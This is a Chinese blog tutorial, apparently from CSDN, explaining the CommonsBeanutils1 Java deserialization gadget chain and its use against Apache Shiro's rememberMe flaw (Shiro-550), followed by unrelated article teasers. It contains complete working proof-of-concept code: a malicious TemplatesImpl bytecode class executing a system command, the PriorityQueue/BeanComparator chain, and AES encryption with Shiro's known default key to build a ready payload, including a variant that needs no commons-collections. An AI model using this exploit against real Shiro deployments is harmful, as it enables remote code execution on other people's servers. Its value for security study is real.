CommonsBeanutils与Shiro发序列化利用的学习

一、前言

前面的学习中,过了一遍cc1-cc7的利用链,在CC2的利用链中,学习了 java.util.PriorityQueue,它在Java中是一个优先队列,队列中每一个元素都有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序会进行比较,进而执行 java.util.Comparator 接口的 compare()方法。 那么,后续我们可以继续学习下其他利用 java.util.Comparator 对象。

二、初识 Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean) 的一些操作方法。

比如,Cat是一个最简单的 JavaBean类:

final public class Cat{
    private String name = "catalina";
    
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

它包含一个私有属性name和读取、设置这个属性的方法,又称为 getter 和 setter, 其中给getter的方法名以 get开头,setter的方法以set开头,全名符合骆驼式命名法 (Camel-Case)。

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty, 让使用者可以直接调用任意JavaBean 的 getter 方法,比如:

PropertyUtils.getProperty(new Cat(), "name");

此时,commons-beanutils 会自动找到 name 属性的 getter() 方法,也就是 getName, 然后调用,获得返回值。 除此之外, PropertyUtils.getProperty 还支持递归获取属性, 比如 a对象中有属性b , b对象有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c");  的方式进行递归获取。 通过这个方法,使用者可以很方便的调用任意对象的 getter, 适用于在不确定 JavaBean 是哪个类对象时使用。当然 , commons-beanutils 中还有很多类似的辅助方法,如调用 setter、拷贝属性等。

三、getter 的妙用

文章开头说过,再找过可以利用的  java.util.Comparator 对象, 在 commons-beanutils 包中就存在一个: org.apache.commons.beanutils.BeanComparator

BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean是否相等的类,其实现了java.util.Comparator 接口

org.apache.commons.beanutils.BeanComparator.java

public int compare( final T o1, final T o2 ) {
    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }
    try {
        final Object value1 = PropertyUtils.getProperty( o1, property );
        final Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( final IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " +
            iae.toString() );
    }
    catch ( final InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " +
            ite.toString() );
    }
    catch ( final NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " +
            nsme.toString() );
    }
}

这个方法传入两个对象,如果 this.property 为空, 则直接比较这两个对象; 如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property属性,比较属性的值。 在上节说过 PropertyUtils.getProperty 这个方法会自动调用一个 JavaBean 的getter 方法,这个点就是 任意代码执行的关键。  有没有什么 getter 方法可以执行恶意代码呢?

在 java的类加载机制的学习_java是如何加载类的-CSDN博客 文章中,有过这么一条关于TemplatesImpl 的调用链的说明

追溯到最前面两个方法 TemplatesImpl#getOutputProperties() 、 TemplatesImpl#newTransformer()  ,这两者都是 public属性,都可以被外部调用,当初我们分析是从 TemplatesImpl#newTransformer() 开始利用调用的; 但是实际上, TemplatesImpl#getOutputProperties() 方法是调用链上的一环, 它的内部调用了 TemplatesImpl#newTransformer() , 也就是我们后面用来执行恶意字节码的地方。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.java

public  synchronized Properties getOutputProperties() {
    try{
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e){
        return null;
    }
}

而 getOutputProperties 这个名字, 是以get 开头,正符合 getter 的定义。

所以,PropertyUtils.getPropertyh( o1, property ) 这段代码,当 o1 是一个 TemplatesImpl对象,而property 的值为 outputProperties时, 系那个会自动调用 getter, 也就是   TemplatesImpl#getOutputProperties() 方法, 触发代码执行。

四、反序列化利用链构造

首先还是创建 TemplatesImpl:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class,getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后,实例化 BeanComparator, BeanComparator 构造函数为空时, 默认的 property 就是空:

final BeanComparator comparator = new BeanComparator();

然后用这个comparator 实例化优先队列 PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
//stub data for replacement later
queue.add(1);
queue.add(1);

我们添加了两个无害的可以比较的对象进队列中,前文说过, BeanComParator#compare() 中,如果this.property 为空,则直接比较这两个对象。 这里实际上就是对两个1 进行排序。

初始化时使用无害对象, 且 property 为空,这一系列操作是为了 初始化的时候不要出错。 然后,我们再用反射将 property 的值设置成恶意的 outputProperties, 将队列里的两个替换成 恶意的 TemplateImpl 对象:

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj,obj});

构造的POC如下:

运行环境:

Java 1.8.0_71

maven依赖:

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.4</version>
</dependency>
evil.java


package com.vulhub.Ser;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


public class evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");

    }
}
CommonsBeanutils1.java


package com.vulhub.Ser;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

五、Shiro550 利用链

在之前文章TemplatesImpl 在Shiro中的利用链学习1_org.apache.shiro.io.classresolvingobjectinputstrea-CSDN博客

的学习中,用了P神的  shirodemo, 在里面提到过几个依赖库:

前4个依赖和项目本身有关,少了他们这个demo会出错或功能确实。 但是第5个依赖,commons-collections主要是为了演示漏洞。 那么,实际的场景下,目标可能并没有安装 commons-collections, 这个时候还能怎么利用这个 shiro反序列化漏洞呢?

我们将项目 的commons-collections的依赖关闭,查看项目结构,发现 commons-beanutils:1.8.3赫然在列。 也就是说 Shiro是依赖于 commonst-beanutils的。

尝试用上文构造的poc,构造一个shiro的payload,需要做以下两件事,

  • 第一是改变maven中 commons-beanutils 依赖的版本,上面用的 commons-beanutils 1.9.4, demo中的用的是 commons-beanutils 1.8.3 ,不然会报错

Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

当然,开发者也可以手工给类赋予一个serialVersionUID值,此时就能手工控制兼容性了

  • 第二,在原先的基础上,将序列化字节流重新加密下,生成shiro的payload
        //输出 Shiro的payload
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.println(ciphertext.toString());

点击发送payload,然后发现还是报错了:

Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.
 

简单来说就是没找到 org.apache.collections.comparators.ComparableComparator 类, 从包名可以看出,这个类来自 commons-collections。 

commons-beanutils 本来依赖于 commons-collections ,但是在Shiro中,它的 commons-beanutils 虽然包含了 一部分 commons-collections的类, 但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections, 但反序列化利用的时候需要依赖于 commons-collections。

六、无依赖的 Shiro 发序列化利用链

我们先看下   org.apache.collections.comparators.ComparableComparator  类在哪里使用了

在 BeanComparator类的构造函数处,当没有显式传入Comparator 的情况下,则默认使用 org.apache.commons.collections.comparators.ComparableComparator  这也是报错的原因,我们poc中没有指定,导致用了commons-collections 包的 ComparableComparator类。

既然Shiro中没有org.apache.commons.collections.comparators.ComparableComparator 

就需要重新找一个类来替换,需要满足下面几个条件:

  • 实现java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro 或 commons-beanutils 自带,兼容性强
通过 IDEA 的功能,我们找到一个 CaseInsensitiveComparator

相关代码如下:

java.lang.String 

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpperCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
                            // No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }
    }

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。

并且通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 caseInsensitiveComparator 对象,用它来实例化 BeanComparator:

final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);

 后面添加的对象要是字符类型,把1 改成“1” 即可:

queue.add(“1”);
queue.add(“1”);

最终poc如下:
 

CommonsBeanutils1.java

package com.vulhub.Ser;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        //需要添加字符串
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        //输出 Shiro的payload
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.println(ciphertext.toString());

        //System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

其实也有用 java.util.Collections$ReverseComparator类的;

java.util.Collections.java

public static <T> Comparator<T> reverseOrder() {
        return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
    }

    /**
     * @serial include
     */
    private static class ReverseComparator
        implements Comparator<Comparable<Object>>, Serializable {

        private static final long serialVersionUID = 7207038068494060240L;

        static final ReverseComparator REVERSE_ORDER
            = new ReverseComparator();

        public int compare(Comparable<Object> c1, Comparable<Object> c2) {
            return c2.compareTo(c1);
        }

        private Object readResolve() { return reverseOrder(); }
    }

通过 java.util.Collections.reverseOrder()能够取得 ReverseComparator 对象

最终构造poc效果一样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/919788.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

OpenGL入门008——环境光在片段着色器中的应用

本节将在片段着色器中应用环境光照(Ambient) 文章目录 一些概念光照模型环境光漫反射镜面反射总结 实战简介dependencieslightShader.vslightShader.fsshader.vsshader.fs utilsCube.hCube.cpp main.cppCMakeLists.txt最终效果 一些概念 光照模型 环境光 概述&#xff1a; 在…

cesium for unity的使用

先聊聊导入 看到这里的因该能够知道&#xff0c;官网以及网上绝大多数的方法都导入不进来&#xff0c;那么解决方法如下: 两个链接&#xff1a;按照顺序依次下载这两个tgz和zip&#xff0c;其中tgz为主要部分&#xff0c;zip为示例工程项目 如果您要查看示例工程项目的话&am…

stm32cubemx+VSCODE+GCC+makefile 开发环境搭建

title: stm32cubemxVSCODEGCCmakefile 开发环境搭建 tags: FreertosHalstm32cubeMx 文章目录 内容往期内容导航第一步准备环境vscode 插件插件配置点灯 内容 往期内容导航 第一步准备环境 STM32CubeMXVSCODEMinGWOpenOcdarm-none-eabi-gcc 然后把上面下载的软件 3 4 5 bin 文…

20241120-Milvus向量数据库快速体验

目录 20241120-Milvus向量数据库快速体验Milvus 向量数据库pymilvus内嵌向量数据库模式设置向量数据库创建 Collections准备数据用向量表示文本插入数据 语义搜索向量搜索带元数据过滤的向量搜索查询通过主键搜索 删除实体加载现有数据删除 Collections了解更多 个人主页: 【⭐…

【Axure高保真原型】3D农业管理大屏可视化案例

今天和大家分享3D农业管理大屏可视化案例的原型模板&#xff0c;里面包括重点指标分析、产量分析、种类分析、分布分析、收入分析和销售分析&#xff0c;具体效果可以点击下方视频观看或打开下方预览地址查看哦 【原型效果】 【Axure高保真原型】3D农业管理大屏可视化案例 【原…

使用 LSTM(长短期记忆网络) 模型对时间序列数据(航空旅客人数数据集)进行预测

代码功能 数据准备 加载数据&#xff1a;从公开的航空旅客人数数据集&#xff08;Airline Passengers Dataset&#xff09;中读取时间序列数据。 对数变换和平稳化&#xff1a;对数据应用 log1p 函数减少趋势和波动&#xff0c;使模型更容易学习规律。 归一化处理&#xff1a;…

Redis Search系列 - 第七讲 Windows(CygWin)编译Friso

目录 一、背景二、安装CygWin三、编译Friso四、运行Friso五、Friso分词效果测试 一、背景 最近在做RedisSearch的中文分词效果调研&#xff0c;底层的中文分词插件使用的就是Friso&#xff0c;目前手里的Linux环境上yum镜像仓库有问题导致没法安装gcc&#xff0c;又急于验证Fr…

【AI大模型引领变革】探索AI如何重塑软件开发流程与未来趋势

文章目录 每日一句正能量前言流程与模式介绍【传统软件开发 VS AI参与的软件开发】一、传统软件开发流程与模式二、AI参与的软件开发流程与模式三、AI带来的不同之处 结论 AI在软件开发流程中的优势、挑战及应对策略AI在软件开发流程中的优势面临的挑战及应对策略 结论 后记 每…

智领未来: 宏集物联网HMI驱动食品与包装行业迈向智能化新高度

行业现状与挑战 食品与包装行业对设备的自动化、智能化水平要求日益提高&#xff0c;特别是瓶装和灌装生产线需要实现高速、高效的生产。此外&#xff0c;该行业还需遵循严格的卫生标准和安全规范&#xff0c;以保证产品质量符合消费者需求。在提高生产效率的同时&#xff0c;…

LeetCode 热题100(九)【图论】(待更新)

目录 9.图论 9.1岛屿数量&#xff08;中等&#xff09; 9.2腐烂的橘子&#xff08;中等&#xff09; 9.3课程表&#xff08;中等&#xff09; 9.4实现 Trie (前缀树)&#xff08;中等&#xff09; 9.图论 9.1岛屿数量&#xff08;中等&#xff09; 题目描述&#xff1a;…

数据结构--跳表

跳表 原理实现 原理 跳表&#xff08;skiplist&#xff09;是一种链表&#xff0c;而链表查询的时间复杂度为O(n)&#xff0c;为了优化查询效率&#xff0c;我们可以让每相邻两个节点升高一层&#xff0c;增加一个指针&#xff0c;让指针指向下下个节点&#xff1a; 这样所有…

ChatGPT高级语音模式正在向Web网页端推出!

大家好&#xff0c;我是木易&#xff0c;一个持续关注AI领域的互联网技术产品经理&#xff0c;国内Top2本科&#xff0c;美国Top10 CS研究生&#xff0c;MBA。我坚信AI是普通人变强的“外挂”&#xff0c;专注于分享AI全维度知识&#xff0c;包括但不限于AI科普&#xff0c;AI工…

多传感器融合slam过程解析【大白话版】

SLAM&#xff08;同步定位与地图构建&#xff09;是自动驾驶、机器人导航和三维建模的关键技术之一。多传感器融合&#xff08;激光雷达、IMU、相机&#xff09;进一步提升了SLAM的鲁棒性和适应性&#xff0c;使其能够在复杂环境中实时构建高精度地图。本文将围绕激光雷达IMU相…

MySQL 中 InnoDB 支持的四种事务隔离级别名称,以及逐级之间的区别?

MySQL中的InnoDB存储引擎支持四种事务隔离级别&#xff0c;这些级别定义了事务在并发环境中的行为和相互之间的可见性。以下是这四种隔离级别的名称以及它们之间的区别&#xff1a; 读未提交&#xff08;Read Uncommitted&#xff09; 特点&#xff1a;这是最低的隔离级别&…

【Vue】Vue3.0(二十六)Vue3.0中的作用域插槽

上篇文章 【Vue】Vue3.0&#xff08;二十五&#xff09;Vue3.0中的具名插槽 的概念和使用场景 &#x1f3e1;作者主页&#xff1a;点击&#xff01; &#x1f916;Vue专栏&#xff1a;点击&#xff01; ⏰️创作时间&#xff1a;2024年11月20日17点30分 文章目录 概念使用场景示…

湘潭大学软件工程算法设计与分析考试复习笔记(四)

回顾 湘潭大学软件工程算法设计与分析考试复习笔记&#xff08;一&#xff09;湘潭大学软件工程算法设计与分析考试复习笔记&#xff08;二&#xff09;湘潭大学软件工程算法设计与分析考试复习笔记&#xff08;三&#xff09; 前言 现在是晚上十一点&#xff0c;我平时是十…

电路模型和电路定理(二)

电路元件 是电路中最基本的组成单元。 电阻元件&#xff1a;表示消耗电能的元件 电感元件&#xff1a;表示产生磁场&#xff0c;储存磁场能的元件 电容元件&#xff1a;表示产生电场&#xff0c;储存电场能量的元件 电压源和电流源&#xff1a;表示将其他形式的能量转变成…

【Golang】——Gin 框架中的 API 请求处理与 JSON 数据绑定

在现代 Web 开发中&#xff0c;API&#xff08;特别是 RESTful API&#xff09;是前后端分离架构的核心。Gin 框架提供了丰富的功能来处理 API 请求和 JSON 数据&#xff0c;使得开发者可以快速构建高效的接口服务。本篇博客将从基础到深入&#xff0c;全面讲解如何使用 Gin 框…

【STM32】时钟系统

在我们学习STM32之前&#xff0c;我们需要先了解STM32系列芯片的时钟系统&#xff0c;这个是我们学习这个芯片的基础。为什么时钟系统这么重要呢&#xff1f;举个例子&#xff0c;如果把STM32比作我们的整个人体&#xff0c;那么时钟就是维持我们人体正常工作的心脏。STM32芯片…

macOS 的目录结构

文章目录 根目录 (/)常见目录及其用途示例目录结构注意事项根目录 (/)主要目录及其含义其他目录总结 macOS 的目录结构无论是在 Intel 架构还是 ARM 架构的 Mac 电脑上都是相同的。macOS 的目录结构遵循 Unix 和 BSD 的传统&#xff0c;具有许多标准目录。以下是一些主要目录及…